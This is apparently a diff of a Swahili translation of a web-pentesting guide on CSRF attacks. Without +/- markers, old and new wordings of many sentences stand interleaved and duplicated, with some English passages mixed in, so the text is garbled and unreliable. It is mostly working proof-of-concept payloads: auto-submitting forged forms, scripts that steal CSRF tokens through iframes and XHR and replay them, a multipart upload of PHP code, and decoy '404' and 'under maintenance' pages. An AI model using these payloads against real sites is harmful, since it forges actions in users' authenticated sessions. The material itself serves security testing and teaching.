* _X-HTTP-Method-Override_
* _X-Method-Override_
### Kuvuka kitambulisho cha kichwa cha desturi
Ikiwa ombi linaweka **kichwa cha desturi** na **kitambulisho** kwenye ombi kama **njia ya ulinzi wa CSRF**, basi:
* Jaribu ombi bila **Kitambulisho Kilichobinafsishwa na pia kichwa.**
* Jaribu ombi na urefu **sawa lakini kitambulisho tofauti**.
### Kitambulisho cha CSRF kinathibitishwa na kuki
Programu inaweza kutekeleza ulinzi wa CSRF kwa kunakili kitambulisho katika kuki na parameta ya ombi au kwa kuweka kuki ya CSRF na kuthibitisha ikiwa kitambulisho kilichotumwa nyuma kinaendana na kuki. Programu huthibitisha maombi kwa kuangalia ikiwa kitambulisho katika parameta ya ombi linalingana na thamani kwenye kuki.
Walakini, njia hii inaweza kuwa dhaifu kwa mashambulio ya CSRF ikiwa tovuti ina dosari zinazoruhusu mshambuliaji kuweka kuki ya CSRF kwenye kivinjari cha muathiriwa, kama vile dosari ya CRLF. Mshambuliaji anaweza kutumia hili kwa kupakia picha ya kudanganya ambayo inaweka kuki, kufuatwa na kuanzisha shambulio la CSRF.
Hapa kuna mfano wa jinsi shambulio linavyoweza kuandaliwa:
```html
<html>
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
@ -96,18 +124,18 @@ Ikiwa ombi linatumia njia "**isio ya k
```
{% hint style="info" %}
Tafadhali kumbuka kuwa ikiwa **csrf token inahusiana na kuki ya kikao, shambulio hili halitafanya kazi** kwa sababu utahitaji kuweka kikao cha mwathiriwa, na kwa hivyo utakuwa unajihami mwenyewe.
Tafadhali kumbuka kwamba ikiwa **tokeni ya csrf inahusiana na kuki ya kikao shambulio hili halitafanya kazi** kwa sababu utahitaji kuweka kikao cha mwathiriwa, na kwa hivyo utakuwa unajiwekea shambulio.
{% endhint %}
### Badilisha Aina ya Yaliyomo (Content-Type)
### Badilisha Aina ya Yaliyomo
Kulingana na [**hii**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests), ili **kuepuka ombi la awali** kwa kutumia njia ya **POST**, hizi ni thamani zinazoruhusiwa za Content-Type:
Kulingana na [**hii**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests), ili **kuepuka maombi ya awali** kutumia njia ya **POST** hizi ni thamani zinazoruhusiwa za Aina ya Yaliyomo:
* **`application/x-www-form-urlencoded`**
* **`multipart/form-data`**
* **`text/plain`**
- **`application/x-www-form-urlencoded`**
- **`multipart/form-data`**
- **`text/plain`**
Hata hivyo, kumbuka kuwa **mantiki ya seva inaweza kutofautiana** kulingana na **Content-Type** uliyotumia, kwa hivyo unapaswa kujaribu thamani zilizotajwa na nyingine kama **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
Hata hivyo, kumbuka kwamba **mantiki za seva zinaweza kutofautiana** kulingana na **Aina ya Yaliyomo** iliyotumiwa hivyo unapaswa kujaribu thamani zilizotajwa na nyingine kama **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
Mfano (kutoka [hapa](https://brycec.me/posts/corctf\_2021\_challenges)) wa kutuma data ya JSON kama text/plain:
```html
@ -122,33 +150,31 @@ form.submit();
</body>
</html>
```
### Kupitisha Ombi la Awali kwa Data ya JSON
### Kupita kwa Maombi ya Awali kwa Data ya JSON
Wakati unajaribu kutuma data ya JSON kupitia ombi la POST, kutumia `Content-Type: application/json` katika fomu ya HTML sio rahisi moja kwa moja. Vivyo hivyo, kutumia `XMLHttpRequest` kutuma aina hii ya yaliyomo husababisha ombi la awali. Hata hivyo, kuna mikakati ya kuzidisha kizuizi hiki na kuangalia ikiwa seva inachakata data ya JSON bila kujali Content-Type:
Wakati unajaribu kutuma data ya JSON kupitia ombi la POST, kutumia `Content-Type: application/json` katika fomu ya HTML sio moja kwa moja inawezekana. Vivyo hivyo, kutumia `XMLHttpRequest` kutuma aina hii ya yaliyomo huanzisha ombi la awali. Walakini, kuna mikakati ya kuzidisha kikwazo hiki na kuangalia ikiwa seva inachakata data ya JSON bila kujali Content-Type:
1. **Tumia Aina Mbadala za Yaliyomo**: Tumia `Content-Type: text/plain` au `Content-Type: application/x-www-form-urlencoded` kwa kuweka `enctype="text/plain"` katika fomu. Hatua hii inajaribu ikiwa seva inatumia data bila kujali Content-Type.
1. **Tumia Aina Zingine za Yaliyomo**: Tumia `Content-Type: text/plain` au `Content-Type: application/x-www-form-urlencoded` kwa kuweka `enctype="text/plain"` katika fomu. Hatua hii inajaribu ikiwa seva inatumia data bila kujali Content-Type.
2. **Badilisha Aina ya Yaliyomo**: Ili kuepuka ombi la awali huku ukisaidia seva kutambua yaliyomo kama JSON, unaweza kutuma data na `Content-Type: text/plain; application/json`. Hii haizindui ombi la awali lakini inaweza kuchakatwa kwa usahihi na seva ikiwa imeboreshwa kukubali `application/json`.
3. **Matumizi ya Faili ya SWF Flash**: Njia isiyo ya kawaida lakini inayowezekana inahusisha kutumia faili ya SWF flash kupita kikwazo kama hicho. Kwa uelewa wa kina wa mbinu hii, tazama [chapisho hili](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
2. **Badilisha Aina ya Yaliyomo**: Ili kuepuka ombi la awali wakati huo huo kuhakikisha seva inatambua yaliyomo kama JSON, unaweza kutuma data na `Content-Type: text/plain; application/json`. Hii haisababishi ombi la awali lakini inaweza kuchakatwa kwa usahihi na seva ikiwa imeundwa kukubali `application/json`.
3. **Matumizi ya Faili ya SWF Flash**: Njia isiyo ya kawaida lakini inayowezekana ni kutumia faili ya SWF flash kuzidisha vizuizi kama hivyo. Kwa ufahamu wa kina wa mbinu hii, tazama [chapisho hili](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
### Kupitisha Ukaguzi wa Referrer / Origin
### Kupita kwa Ukaguzi wa Referrer / Asili
**Epuka Kichwa cha Referrer**
Programu zinaweza kuthibitisha kichwa cha 'Referer' tu wakati kipo. Ili kuzuia kivinjari kutuma kichwa hiki, unaweza kutumia lebo ya meta ya HTML ifuatayo:
Maombi yanaweza kuthibitisha kichwa cha 'Referer' tu wakati kipo. Ili kuzuia kivinjari kutuma kichwa hiki, unaweza kutumia lebo ya meta ya HTML ifuatayo:
```xml
<meta name="referrer" content="never">
```
Hii inahakikisha kichwa cha 'Referer' kinaachwa, kwa uwezekano wa kuepuka ukaguzi wa uthibitisho katika baadhi ya programu.
Hii inahakikisha kichwa cha 'Referer' kinaachwa, ikipitisha ukaguzi wa uthibitisho katika baadhi ya programu.
**Kuepuka kwa Regexp**
**Kupuuza Regexp**
{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %}
[url-format-bypass.md](ssrf-server-side-request-forgery/url-format-bypass.md)
{% endcontent-ref %}
Ili kuweka jina la kikoa cha seva katika URL ambayo Referrer itatuma ndani ya vipengele, unaweza kufanya:
Kuweka jina la kikoa la seva katika URL ambayo Referrer itatuma ndani ya paramita unaweza kufanya:
```html
<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
@ -167,25 +193,25 @@ document.forms[0].submit();
</body>
</html>
```
### **Kuipuuza njia ya HEAD**
### **Kichwa cha kufanya upuuzi**
Sehemu ya kwanza ya [**hii CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) inaelezea kwamba [msimbo wa chanzo wa Oak](https://github.com/oakserver/oak/blob/main/router.ts#L281), router imewekwa kushughulikia maombi ya njia ya HEAD kama maombi ya njia ya GET bila mwili wa jibu - njia ya kawaida ambayo sio ya pekee kwa Oak. Badala ya kuhitaji kushughulikia maombi ya njia ya HEAD kwa njia maalum, maombi hayo yanapewa tu kwa kushughulikia maombi ya njia ya GET lakini programu inaondoa mwili wa jibu.
Sehemu ya kwanza ya [**hii CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) inaeleza kwamba [Msimbo wa chanzo wa Oak](https://github.com/oakserver/oak/blob/main/router.ts#L281), router imewekwa kushughulikia **maombi ya HEAD kama maombi ya GET** bila mwili wa jibu - njia ya kawaida ambayo sio ya pekee kwa Oak. Badala ya kushughulikia maombi ya HEAD kwa njia maalum, maombi hayo **hutumwa kwa kushughulikiaji wa GET lakini programu inaondoa mwili wa jibu**.
Kwa hiyo, ikiwa maombi ya njia ya GET yanazuiliwa, unaweza tu **kutuma maombi ya njia ya HEAD ambayo yatasindika kama maombi ya njia ya GET**.
Hivyo, ikiwa maombi ya GET yanazuiliwa, unaweza **kupeleka ombi la HEAD ambalo litashughulikiwa kama ombi la GET**.
## **Mifano ya Kutumia Udhaifu**
## **Mifano ya Kutumia Mabaya**
### **Kuiba Kitufe cha CSRF**
### **Kuchota Tokeni ya CSRF**
Ikiwa **kitufe cha CSRF** kinatumika kama **ulinzi**, unaweza kujaribu **kuiba** kwa kutumia udhaifu wa [**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens) au udhaifu wa [**Dangling Markup**](dangling-markup-html-scriptless-injection/).
Ikiwa **tokeni ya CSRF** inatumika kama **ulinzi** unaweza kujaribu **kuichota** kwa kutumia [**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens) vulnerability au [**Dangling Markup**](dangling-markup-html-scriptless-injection/) vulnerability.
### **Kutumia HTML tags kwa njia ya GET**
### **KUTUMIA GET kwa kutumia vitambulisho vya HTML**
```xml
<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available
```
Vivinjari vingine vya HTML5 vinavyoweza kutumika kutuma ombi la GET kiotomatiki ni:
Vivamishi vingine vya HTML5 vinavyoweza kutumika kutuma ombi la GET kiotomatiki ni:
```html
<iframe src="..."></iframe>
<script src="..."></script>
@ -206,11 +232,7 @@ body { background: url('...'); }
<track src="..." kind="subtitles">
<input type="image" src="..." alt="Submit Button">
```
### Ombi la Fomu kwa njia ya GET
When a form is submitted using the GET method, the form data is appended to the URL as query parameters. This means that the form data is visible in the URL itself. GET requests are commonly used for simple and idempotent operations, such as retrieving data or performing searches.
Kwa kuwasilisha fomu kwa kutumia njia ya GET, data ya fomu inaongezwa kwenye URL kama vipengele vya utafutaji. Hii inamaanisha kuwa data ya fomu inaonekana kwenye URL yenyewe. Maombi ya GET mara nyingi hutumiwa kwa shughuli rahisi na idempotent, kama kupata data au kufanya utafutaji.
### Ombi la kupata la fomu
```html
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
@ -227,22 +249,6 @@ document.forms[0].submit();
</html>
```
### Ombi la POST la Fomu
Ili kutekeleza shambulio la CSRF, tunahitaji kujenga ombi la POST la fomu ambalo litatumwa kwa mtumiaji bila ridhaa yake. Hapa kuna hatua za kufuata:
1. Tengeneza fomu ya HTML ambayo ina vigezo vinavyohitajika na hatua ya lengo.
```html
<form action="https://www.target.com/action" method="POST">
<input type="hidden" name="param1" value="value1">
<input type="hidden" name="param2" value="value2">
<input type="submit" value="Submit">
</form>
```
2. Weka hatua ya lengo kama `action` ya fomu. Hii ni hatua ambayo tunataka ombi la POST lifanyike.
3. Ongeza vigezo vyote vinavyohitajika kama vitambulisho vya siri (`hidden input`) ndani ya fomu. Hii inahakikisha kuwa data inayohitajika inatumwa pamoja na ombi la POST.
4. Ongeza kifungo cha kuwasilisha (`submit button`) ili mtumiaji aweze kubonyeza na kutuma ombi la POST.
Baada ya kutekeleza hatua hizi, fomu itakuwa tayari kutumwa kwa mtumiaji bila ridhaa yake. Wakati mtumiaji anapobonyeza kifungo cha kuwasilisha, ombi la POST litatumwa kwa hatua ya lengo na data iliyowekwa ndani ya fomu itasindika.
```html
<html>
<body>
@ -258,50 +264,7 @@ document.forms[0].submit(); //Way 3 to autosubmit
</body>
</html>
```
### Ombi la POST la Fomu kupitia iframe
Ikiwa unataka kufanya ombi la POST la fomu kupitia iframe, unaweza kutumia njia hii ya kudanganya kivinjari cha mtumiaji na kutekeleza shambulio la CSRF (Cross-Site Request Forgery). Hapa kuna hatua za kufuata:
1. Unda ukurasa wa wavuti ambao una fomu ambayo unataka kutuma ombi la POST.
2. Weka iframe kwenye ukurasa huo na elekeza kwenye ukurasa wa lengo ambao unataka kudanganya.
3. Weka fomu ndani ya iframe na weka maelezo yote muhimu kama vitu vya fomu.
4. Tumia JavaScript kwenye ukurasa wa wavuti ili kusababisha fomu kutumwa moja kwa moja baada ya ukurasa kupakia.
Hapa kuna mfano wa namna ya kuunda iframe na kutuma ombi la POST:
```html
<iframe id="csrf-frame" src="https://www.target-website.com"></iframe>
<script>
window.onload = function() {
var frame = document.getElementById('csrf-frame');
var frameDocument = frame.contentDocument || frame.contentWindow.document;
var form = frameDocument.createElement('form');
form.method = 'POST';
form.action = 'https://www.target-website.com/post-endpoint';
var input1 = frameDocument.createElement('input');
input1.type = 'hidden';
input1.name = 'param1';
input1.value = 'value1';
var input2 = frameDocument.createElement('input');
input2.type = 'hidden';
input2.name = 'param2';
input2.value = 'value2';
form.appendChild(input1);
form.appendChild(input2);
frameDocument.body.appendChild(form);
form.submit();
};
</script>
```
Kumbuka kuwa shambulio la CSRF linaweza kuwa hatari na linaweza kusababisha madhara makubwa. Ni muhimu kuzingatia maadili ya kimaadili na kufuata sheria na kanuni zinazohusiana wakati wa kufanya majaribio ya kuingilia kati.
### Kutuma ombi la POST kupitia iframe
```html
<!--
The request is sent through the iframe withuot reloading the page
@ -320,14 +283,6 @@ document.forms[0].submit();
</html>
```
### **Ombi la POST la Ajax**
Kwa kawaida, maombi ya POST ya Ajax hutumiwa kubadilisha data kwenye seva bila kusasisha ukurasa mzima. Hii inaweza kusababisha shida ya CSRF (Cross-Site Request Forgery) ikiwa hatua sahihi za usalama hazijachukuliwa.
CSRF ni shambulio ambapo mtu mwenye nia mbaya anajaribu kutekeleza hatua fulani kwa niaba ya mtumiaji asiye na habari. Katika kesi ya maombi ya POST ya Ajax, shambulio la CSRF linaweza kufanywa kwa kujenga fomu ya uwongo na kuiwasilisha kiotomatiki kwa seva bila maarifa ya mtumiaji.
Kuna njia kadhaa za kujilinda dhidi ya shambulio la CSRF wakati wa kutumia maombi ya POST ya Ajax. Moja ya njia hizo ni kutumia token ya CSRF. Token ya CSRF ni kipande cha data kinachotumwa na seva kwa kivinjari cha mtumiaji na kisha kurejeshwa na kila ombi la POST. Kwa njia hii, seva inaweza kuthibitisha kuwa ombi linatoka kwa mtumiaji aliyeidhinishwa na sio shambulio la CSRF.
Kwa kumalizia, ni muhimu kuchukua hatua za usalama zinazofaa wakati wa kutumia maombi ya POST ya Ajax ili kuzuia shambulio la CSRF. Matumizi ya token ya CSRF ni njia moja ya kujilinda dhidi ya shambulio hili.
```html
<script>
var xh;
@ -355,14 +310,6 @@ data: "param=value&param2=value2"
</script>
```
### Ombi la POST la multipart/form-data
Kwa kawaida, fomu za mtandao hutumia aina ya maombi ya POST ili kuwasilisha data kwa seva. Aina ya maombi ya POST inayotumiwa mara kwa mara ni `multipart/form-data`. Aina hii ya maombi inaruhusu kuwasilisha data ya fomu pamoja na faili zilizopakiwa.
Kwa kutekeleza shambulio la CSRF (Cross-Site Request Forgery), mshambuliaji anaweza kutumia aina hii ya maombi ya POST kutekeleza vitendo visivyoidhinishwa kwa niaba ya mtumiaji aliyeingia. Shambulio hili linaweza kufanyika kwa kujenga fomu ya bandia na kuilazimisha mtumiaji aliyeingia kuituma.
Kwa mfano, mshambuliaji anaweza kujenga fomu ya bandia inayotuma maombi ya POST ya `multipart/form-data` kwa seva. Fomu hiyo inaweza kuwa na vitu kama vile maeneo ya maandishi, vifungo vya kuchagua faili, na vitu vingine vya fomu. Kwa kuficha fomu hiyo katika tovuti iliyoharibiwa au kwa kutuma kiunga cha kudanganya kupitia barua pepe au mitandao ya kijamii, mshambuliaji anaweza kudanganya mtumiaji aliyeingia kuituma fomu hiyo bila kujua.
Ni muhimu kwa watengenezaji wa wavuti kuchukua hatua za kuzuia shambulio la CSRF kwa kutekeleza njia kama vile kutumia vitambulisho vya CSRF (CSRF tokens) na kuhakikisha kuwa maombi ya POST ya `multipart/form-data` yanathibitishwa kwa usahihi kabla ya kutekeleza vitendo vyovyote.
```javascript
myFormData = new FormData();
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text"});
@ -376,69 +323,6 @@ mode: "no-cors"
});
```
### Ombi la POST la multipart/form-data v2
In this technique, we will explore how to craft a POST request with the `multipart/form-data` content type. This type of request is commonly used when uploading files or submitting forms that contain binary data.
Katika mbinu hii, tutajifunza jinsi ya kuunda ombi la POST lenye aina ya yaliyomo ya `multipart/form-data`. Aina hii ya ombi hutumiwa mara nyingi wakati wa kupakia faili au kuwasilisha fomu zinazojumuisha data ya binary.
#### Anatomy of a `multipart/form-data` POST Request
##### Request Headers
The request headers for a `multipart/form-data` POST request typically include the following:
- `Content-Type`: Set to `multipart/form-data; boundary=<boundary_value>`, where `<boundary_value>` is a unique string used to separate different parts of the request body.
##### Request Body
The request body of a `multipart/form-data` POST request consists of multiple parts, each representing a different field or file to be uploaded. Each part has the following structure:
```
--<boundary_value>
Content-Disposition: form-data; name="<field_name>"; filename="<file_name>"
Content-Type: <file_content_type>
<file_content>
```
- `<boundary_value>`: The same boundary value specified in the `Content-Type` header.
- `<field_name>`: The name of the field or parameter being submitted.
- `<file_name>`: The name of the file being uploaded (if applicable).
- `<file_content_type>`: The MIME type of the file being uploaded (if applicable).
- `<file_content>`: The actual content of the file being uploaded.
Each part is separated by the boundary value, and the request body ends with a final boundary value followed by two hyphens (`--`).
#### Example `multipart/form-data` POST Request
Let's take a look at an example of a `multipart/form-data` POST request:
```
POST /upload HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="username"
john.doe
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="profile_picture"; filename="picture.jpg"
Content-Type: image/jpeg
<binary_data_of_picture.jpg>
------WebKitFormBoundary7MA4YWxkTrZu0gW--
```
In this example, the request is being sent to `example.com/upload`. The request body contains two parts: one for the `username` field and another for the `profile_picture` file. The `Content-Type` of the file is specified as `image/jpeg`, and the actual binary data of the picture is included.
#### Exploiting CSRF with `multipart/form-data` POST Requests
When crafting a CSRF attack using `multipart/form-data` POST requests, the attacker can create a malicious HTML page that automatically submits the form containing the CSRF payload. The payload can be crafted to perform actions on behalf of the victim user, such as changing their password or making unauthorized requests.
By tricking the victim into visiting the malicious page, the attacker can exploit the victim's authenticated session and perform actions without their consent.
To protect against CSRF attacks, it is essential to implement proper CSRF protection mechanisms, such as using anti-CSRF tokens or checking the `Referer` header.
```javascript
// https://www.exploit-db.com/exploits/20009
var fileSize = fileData.length,
@ -458,53 +342,7 @@ body += "--" + boundary + "--";
//xhr.send(body);
xhr.sendAsBinary(body);
```
### Ombi la POST la Fomu kutoka ndani ya kioo cha iframe
If you want to send a POST request from within an iframe, you can achieve this by creating a hidden form and submitting it programmatically using JavaScript.
Ikiwa unataka kutuma ombi la POST kutoka ndani ya kioo cha iframe, unaweza kufanikisha hili kwa kuunda fomu iliyofichwa na kuwasilisha ombi hilo kwa kutumia JavaScript.
```html
<iframe id="myIframe" src="https://example.com"></iframe>
<script>
// Get the iframe element
var iframe = document.getElementById('myIframe');
// Create a hidden form
var form = document.createElement('form');
form.style.display = 'none';
form.method = 'POST';
form.action = 'https://example.com/submit';
// Add form fields
var input1 = document.createElement('input');
input1.type = 'hidden';
input1.name = 'field1';
input1.value = 'value1';
form.appendChild(input1);
var input2 = document.createElement('input');
input2.type = 'hidden';
input2.name = 'field2';
input2.value = 'value2';
form.appendChild(input2);
// Append the form to the iframe's document
iframe.contentDocument.body.appendChild(form);
// Submit the form
form.submit();
</script>
```
This code creates an iframe with the id "myIframe" and sets its source to "https://example.com". It then programmatically creates a hidden form with the method set to POST and the action set to "https://example.com/submit". The form also includes two hidden input fields with their respective names and values. Finally, the form is appended to the iframe's document and submitted.
Nambari hii inaunda kioo cha iframe chenye kitambulisho "myIframe" na kuweka chanzo chake kuwa "https://example.com". Kisha inaunda fomu iliyofichwa kwa kutumia programu na kuweka njia yake kuwa POST na hatua kuwa "https://example.com/submit". Fomu pia inajumuisha uga mbili za kuingiza zilizofichwa na majina na thamani zao mtawaliwa. Hatimaye, fomu inaongezwa kwenye hati ya kioo cha iframe na kuwasilishwa.
Remember that this technique can be used for Cross-Site Request Forgery (CSRF) attacks, so make sure to implement proper security measures to prevent unauthorized requests.
Kumbuka kuwa mbinu hii inaweza kutumika kwa mashambulizi ya Cross-Site Request Forgery (CSRF), kwa hivyo hakikisha kutekeleza hatua sahihi za usalama ili kuzuia maombi yasiyoruhusiwa.
### Ombi la POST la fomu kutoka ndani ya fremu
```html
<--! expl.html -->
@ -522,21 +360,7 @@ function envia(){document.getElementById("formulario").submit();}
</iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
```
### **Pora Kitufe cha CSRF na tuma ombi la POST**
To steal a CSRF token and send a POST request, follow these steps:
1. **Identify the CSRF token**: The CSRF token is a unique identifier that is used to prevent Cross-Site Request Forgery attacks. It is usually embedded in the HTML code of a web page.
2. **Inspect the HTML code**: Use the browser's developer tools to inspect the HTML code of the target web page. Look for any input fields or hidden elements that contain the CSRF token.
3. **Extract the CSRF token**: Once you have identified the input field or hidden element that contains the CSRF token, extract the value of the token.
4. **Craft a malicious POST request**: Use a tool like cURL or a browser extension like Postman to craft a POST request to the target website. Include the stolen CSRF token in the request payload.
5. **Send the POST request**: Send the crafted POST request to the target website. If the CSRF token is valid and the request is successful, the server will process the request as if it came from a legitimate source.
By stealing the CSRF token and sending a malicious POST request, an attacker can perform actions on behalf of the victim without their knowledge or consent. It is important for web developers to implement proper CSRF protection mechanisms to prevent such attacks.
### **Pora Token ya CSRF na tuma ombi la POST**
```javascript
function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest();
@ -583,15 +407,7 @@ var GET_URL="http://google.com?param=VALUE"
var POST_URL="http://google.com?param=VALUE"
getTokenJS();
```
### **Chukua Kitufe cha CSRF na tuma ombi la Post kwa kutumia iframe, fomu na Ajax**
Iframe ni kipengele cha HTML kinachoruhusu kuweka ukurasa mwingine ndani ya ukurasa wa wavuti. Unaweza kutumia iframe kuchukua kitufe cha CSRF kutoka kwa ukurasa mwingine na kisha kutuma ombi la Post kwa kutumia kitufe hicho.
Fomu ni kipengele kingine cha HTML kinachotumiwa kwa kuingiza data na kutuma ombi la Post. Unaweza kuunda fomu na kujaza data inayohitajika, pamoja na kitufe cha CSRF, na kisha kutuma ombi la Post.
Ajax ni mbinu ya kutuma ombi la HTTP kwa kutumia JavaScript bila kusababisha ukurasa mzima kupakia upya. Unaweza kutumia Ajax kuchukua kitufe cha CSRF na kutuma ombi la Post kwa kutumia kitufe hicho.
Kwa kuchanganya matumizi ya iframe, fomu, na Ajax, unaweza kuiba kitufe cha CSRF na kutuma ombi la Post kwa njia ya siri. Hii inaweza kusababisha shambulio la CSRF, ambapo ombi la Post linatumiwa bila idhini ya mtumiaji.
### **Pora Token ya CSRF na tuma ombi la Post kwa kutumia iframe, fomu na Ajax**
```html
<form id="form1" action="http://google.com?param=VALUE" method="post" enctype="multipart/form-data">
<input type="text" name="username" value="AA">
@ -611,35 +427,7 @@ document.getElementById("form1").submit();
</script>
<iframe id="i1" style="display:none" src="http://google.com?param=VALUE" onload="javascript:f1();"></iframe>
```
### **Chukua Kitufe cha CSRF na tuma ombi la POST kwa kutumia iframe na fomu**
Ili kuiba Kitufe cha CSRF na kutuma ombi la POST, unaweza kutumia iframe na fomu. Hatua zifuatazo zinaelezea jinsi ya kufanya hivyo:
1. Tafuta ukurasa unaotumia ulinzi wa CSRF na ambapo unataka kuiba Kitufe cha CSRF.
2. Tengeneza ukurasa mpya ambao utatumika kama shambulizi. Unaweza kuita ukurasa huu "attacker.html".
3. Katika ukurasa wa "attacker.html", ongeza iframe ambayo itaelekeza kwenye ukurasa unaotumia ulinzi wa CSRF. Kwa mfano:
```html
<iframe src="https://www.example.com/protected-page"></iframe>
```
4. Ongeza fomu ndani ya iframe ambayo itatuma ombi la POST kwa ukurasa unaotumia ulinzi wa CSRF. Fomu hii inapaswa kuwa na vitu vyote vinavyohitajika kwa ombi la POST, pamoja na Kitufe cha CSRF. Kwa mfano:
```html
<iframe src="https://www.example.com/protected-page">
<form action="https://www.example.com/protected-page" method="POST">
<input type="hidden" name="csrf_token" value="chukua_kitufe_cha_csrf_hapa">
<!-- Ongeza vitu vingine vya fomu hapa -->
<input type="submit" value="Tuma">
</form>
</iframe>
```
5. Badilisha "chukua_kitufe_cha_csrf_hapa" na Kitufe cha CSRF halisi ambacho unataka kutumia.
6. Mara tu mtumiaji anapofungua ukurasa wa "attacker.html" katika kivinjari chake, iframe itaelekeza kwenye ukurasa unaotumia ulinzi wa CSRF na fomu itatuma ombi la POST lenye Kitufe cha CSRF kilichochukuliwa.
7. Ikiwa ombi la POST linafanikiwa, unaweza kupata udhibiti wa akaunti ya mtumiaji au kufanya shughuli zingine zinazohusiana na ombi hilo.
Ni muhimu kutambua kuwa njia hii inaweza kuwa na matokeo mabaya na inaweza kuwa kinyume cha sheria ikiwa hutumii kwa idhini ya mmiliki wa ukurasa unaotumia ulinzi wa CSRF. Kwa hivyo, tumia maarifa haya kwa uwajibikaji na kwa madhumuni ya kujifunza tu.
### **Pora Token ya CSRF na tuma ombi la POST kutumia iframe na fomu**
```html
<iframe id="iframe" src="http://google.com?param=VALUE" width="500" height="500" onload="read()"></iframe>
@ -657,21 +445,7 @@ document.forms[0].submit.click();
}
</script>
```
### **Wizi wa kitufe na kutuma kwa kutumia iframes 2**
Iframes ni vitu vinavyoruhusu kuweka tovuti ndani ya tovuti nyingine. Kwa kutumia mbinu hii, unaweza kuiba kitufe cha uthibitishaji (token) kutoka kwa mtumiaji na kisha kutuma kitufe hicho kwa kutumia iframes mbili.
Hatua zifuatazo zinahitajika kutekeleza mbinu hii:
1. Tengeneza tovuti ya kudanganya: Unda tovuti inayofanana na tovuti halisi ambayo mtumiaji anatumia. Tovuti hii ya kudanganya itakuwa na iframes mbili.
2. Weka iframes: Weka iframes mbili kwenye tovuti ya kudanganya. Iframe ya kwanza itaelekeza kwenye tovuti halisi ambayo mtumiaji anatumia, na iframe ya pili itaelekeza kwenye tovuti yako ya kudanganya.
3. Pata kitufe cha uthibitishaji: Tumia JavaScript kwenye tovuti yako ya kudanganya ili kuiba kitufe cha uthibitishaji kutoka kwa tovuti halisi. Unaweza kutumia njia kama vile kuvinjari kwa DOM au kuiba kitufe cha uthibitishaji kutoka kwa fomu ya kuingia.
4. Tuma kitufe cha uthibitishaji: Baada ya kuiba kitufe cha uthibitishaji, litume kwa kutumia iframes mbili. Iframe ya kwanza itatumwa kwa tovuti halisi ili kuiga shughuli ya mtumiaji, na iframe ya pili itatumwa kwa tovuti yako ya kudanganya ili kupeleka kitufe cha uthibitishaji.
Kwa njia hii, unaweza kuiba kitufe cha uthibitishaji kutoka kwa mtumiaji na kisha kutumia kitufe hicho kufanya shughuli zisizo halali kwa niaba yake. Ni muhimu kutambua kuwa mbinu hii inategemea udanganyifu na inaweza kuwa kinyume cha sheria.
### **Iba token na uitume kwa kutumia 2 iframes**
```html
<script>
var token;
@ -701,43 +475,9 @@ height="600" width="800"></iframe>
<button type="submit">Submit</button>
</form>
```
### **POSTSteal CSRF token na Ajax na tuma posti na fomu**
### **POSTSteal CSRF token with Ajax and send a post with a form**
Unapotaka kutekeleza shambulio la CSRF (Cross-Site Request Forgery), moja ya hatua muhimu ni kuiba tokeni ya CSRF. Kwa kufanya hivyo, unaweza kutumia njia ya Ajax na kutuma ombi la POST kwa kutumia fomu.
Hapa kuna hatua za kufanya hivyo:
1. Tumia JavaScript ili kuunda ombi la Ajax ambalo litapata tokeni ya CSRF kutoka kwa ukurasa wa lengo.
2. Baada ya kupata tokeni ya CSRF, tumia JavaScript kuunda fomu mpya na weka tokeni hiyo kama thamani ya uwanja wa fomu.
3. Tumia JavaScript kuwasilisha fomu hiyo kwa kutuma ombi la POST kwa ukurasa wa lengo.
Hapa kuna mfano wa namna ya kutekeleza hatua hizi:
```html
<script>
// Hatua ya 1: Pata tokeni ya CSRF
var xhr = new XMLHttpRequest();
xhr.open('GET', '/get_csrf_token', false);
xhr.send();
var csrfToken = xhr.responseText;
// Hatua ya 2: Unda fomu mpya na weka tokeni ya CSRF
var form = document.createElement('form');
form.setAttribute('method', 'POST');
form.setAttribute('action', '/target_page');
var csrfField = document.createElement('input');
csrfField.setAttribute('type', 'hidden');
csrfField.setAttribute('name', 'csrf_token');
csrfField.setAttribute('value', csrfToken);
form.appendChild(csrfField);
// Hatua ya 3: Tuma ombi la POST kwa ukurasa wa lengo
document.body.appendChild(form);
form.submit();
</script>
```
Kwa kufuata hatua hizi, unaweza kuiba tokeni ya CSRF na kutumia ombi la POST kwa ukurasa wa lengo. Hii inaweza kusababisha shambulio la CSRF ambapo vitendo vya mtumiaji vinaweza kutekelezwa bila idhini yake. Ni muhimu kutambua kuwa shambulio la CSRF linaweza kuwa na athari mbaya, kwa hivyo ni muhimu kuchukua hatua za kutosha za usalama ili kuzuia shambulio hili.
### **POSTIba CSRF token na Ajax na utume posta na fomu**
```html
<body onload="getData()">
@ -765,18 +505,6 @@ document.getElementById("form").submit();
</script>
```
### CSRF na Socket.IO
CSRF (Cross-Site Request Forgery) ni njia ya shambulio ambapo mtu mwingine anaweza kutumia uwakilishi wa mtumiaji ulioidhinishwa kufanya vitendo visivyoidhinishwa kwenye tovuti fulani. Shambulio la CSRF linaweza kutokea wakati mtumiaji anayetembelea tovuti inayoshambuliwa ana uwakilishi wa mtumiaji ulioidhinishwa kwenye tovuti nyingine.
